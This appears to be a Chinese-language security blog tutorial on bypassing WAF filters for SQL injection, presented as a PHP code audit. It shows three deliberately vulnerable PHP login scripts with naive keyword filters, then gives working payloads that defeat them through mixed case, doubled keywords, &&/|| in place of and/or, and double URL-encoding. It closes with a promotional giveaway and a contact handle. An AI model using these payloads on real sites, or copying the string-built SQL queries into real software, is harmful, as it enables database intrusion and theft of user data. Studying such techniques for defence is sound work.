写点什么

SQL 注入进阶篇一 php 代码审计

发布于: 刚刚

前言

在实际的网站中和用户的输入输出接口不可能想那样没有防御措施的。现在各大网站都在使用 waf 对网站或者 APP 的业务流量进行恶意特征识别及防护,,避免网站服务器被恶意入侵。所以我们就需要绕过 waf,这篇文章就用代码审计的方式给大家讲解一些 sql 的绕过技巧。

关键字过滤

部分 waf 会对关键字进行过滤,我们可以用大小写或者双写关键字来绕过。

源代码分析

<?phprequire 'db.php';header('Content-type:text/html;charset=utf8');$username=dl($_POST['username']);$password=dl($_POST['password']);$dl="SELECT * FROM xs WHERE username='$username' and password='$password'"; //登录界面后台处理$ck=mysqli_query($db,$dl);$row = mysqli_fetch_array($ck);if($_POST['login']){if($row) {echo"你的密码".$row['username'];}else{echo"登录失败";}}function dl($gl){$gl=str_replace(array("union","UNION"),"","$gl");$gl=str_replace(array("select","SELECT"),"","$gl");$gl=str_replace(array("database","DATABASE"),"","$gl");$gl=str_replace(array("sleep","SLEEP"),"","$gl");$gl=str_replace(array("if","IF"),"","$gl");$gl=str_replace("--","","$gl");$gl=str_replace("order","","$gl");return $gl;}
复制代码


分析一下代码,首先获取了数据,加载 dl 函数以后带入了数据库中执行,然后 if 判定是否有提交,是否登录成功,登录成功后回显用户的账号,这是一个非常简单的后台登录代码。往下看有一个自定义函数 dl,函数内使用了 str_replace(),str_replace()的作用是替换字符串,这里 union,select,database ,if 这些常用的注入字符大小写都被替换成空。做了一个简单的危险字符过滤自定义函数。

关键字过滤注入方法

用大小写和双写关键字来尝试绕过,返回代码里有回显位所以可以 union 注入,dl 函数把 union,select 这些字符替换成空但是 mysql 中是不不区分大小写的,所以可以大小写混写来绕过 dl 函数的过滤。比如 Select Union DAtabase()这样的字符是可以执行的。也可以用双写的手法,比如 seselectlect 这样的语句, dl 函数会把里面的 select 替换为空这样两边的字符凑在一起刚好又是一个 select 这样就起到了绕过的作用。


大小写绕过语句为 -1’ unioN Select dataBASE(),2 #



双写关键字绕过语句为 -1' ununionion selecselectt databasdatabasee(),2 #



都运行成功

or and xor not 过滤

or and xor not 像这样的逻辑运算也会被过滤袋掉那我们怎么绕过呢?

源代码分析

<?phprequire 'db.php';header('Content-type:text/html;charset=utf8');$username=dl($_POST['username']);$password=dl($_POST['password']);$zifu='/(and|or|xor|not)/i';if(preg_match("$zifu","$username&&$password")){echo "<script>alert('存在危险字符')</script>";}$dl="SELECT * FROM xs WHERE username='$username' and password='$password'"; //登录界面后台处理$ck=mysqli_query($db,$dl);$row = mysqli_fetch_array($ck);if($_POST['login']){if($row) {echo"登录成功";}else{echo"登录失败";}}function dl($gl){$gl=str_replace(array("union","UNION"),"","$gl");$gl=str_replace(array("select","SELECT"),"","$gl");$gl=str_replace(array("database","DATABASE"),"","$gl");$gl=str_replace(array("sleep","SLEEP"),"","$gl");$gl=str_replace(array("if","IF"),"","$gl");$gl=str_replace("--","","$gl");$gl=str_replace("order","","$gl");return $gl;}?>
复制代码


阅读一遍代码发现在上一段的基础上面添加了一个 preg_match 函数,这个函数过滤了 or and xor not 关键字,需要注意的是 preg_match 会大小写都过滤,继续往下读回显位改成了成功或者失败所以我们只能采用盲注或者延时注入。

逻辑运算符绕过

先尝试大小写绕过,果然是失败的。



使用逻辑运算符尝试


and = &&


or = ||


xor = | # 异或


not = !


使用 &&代替 and 构造盲注语句 1’ && length(DATAbase())=3 # 因为关键字过滤函数还在所以还同时需要大小写绕过。



注入成功

url 编码绕过

在平常使用 url 提交数据时,web 容器在接到 url 后会自动进行一次 url 编码解析,但是由于业务问题有些网站在 web 容器自动解析之后,通过编写程序对解析的参数进行再次 url 编码解析,就会出大问题。

源代码分析

<?phprequire 'db.php';header('Content-type:text/html;charset=utf8');$id1=$_GET['id'];$gl="/and|or|not|xor|length|union|select|database|if|sleep|substr/i";if(preg_match($gl,$id1)){echo"<script>alert('存在危险字符')</script>";}else{$id=urldecode($id1);$dl="SELECT * FROM xs WHERE id='$id'";$result=mysqli_query($db,$dl);$row = mysqli_fetch_assoc($result);if($_GET['id']) {if ($row) {echo "登录成功:" . $row['username'];}}}?>
复制代码


上来还是先看看代码,把客户端传入的 get 参数赋值进了id1 里的值进行检索。如果客户端传入的参数有id1 里的参数进行一次 url 解编码并赋值给 $id。此时客户端传入的参数已经经过了两次 url 编码解析。最后过滤完成把 id 变量带入数据库中进行查询并返回用户的账号。

注入语句

分析代码时说到客户端传入的参数会进行两次 url 编码解析之后带入数据库,但危险过滤是在第一次解析之后第二次解析之前执行的。也就是说我们可以写入两次 url 编码过的语句绕过 preg_match,比如 and 在过滤范围之中,对 and 一次 url 全编码后变为 %61%6e%64%0,再进行一次编码为 %25%36%31%25%36%65%25%36%34


。把经过两次编码后的 and 提交数据会经过 web 容器解码后变为 %61%6e%64,preg_match 判定就不会触发。

构造尝试语句

把-1’ union select database(),2,3 --+编码为-1'


%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65 %25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 %25%36%34%25%36%31%25%37%34%25%36%31%25%36%32%25%36%31%25%37%33%25%36%35(),2,3 --+



成功绕过,代码执行带出了当前数据库。


最后,为了感谢广大读者伙伴的支持,准备了以下福利给到大家:

[一>获取<一]

1、200 多本网络安全系列电子书(该有的都有了)

2、全套工具包(最全中文版,想用哪个用哪个)

3、100 份 src 源码技术文档(项目学习不停,实践得真知)

4、网络安全基础入门、Linux、web 安全、攻防方面的视频(2021 最新版)

6、 网络安全学习路线(告别不入流的学习)

7、ctf 夺旗赛解析(题目解析实战操作)[一>获取<一]

用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
SQL注入进阶篇一php代码审计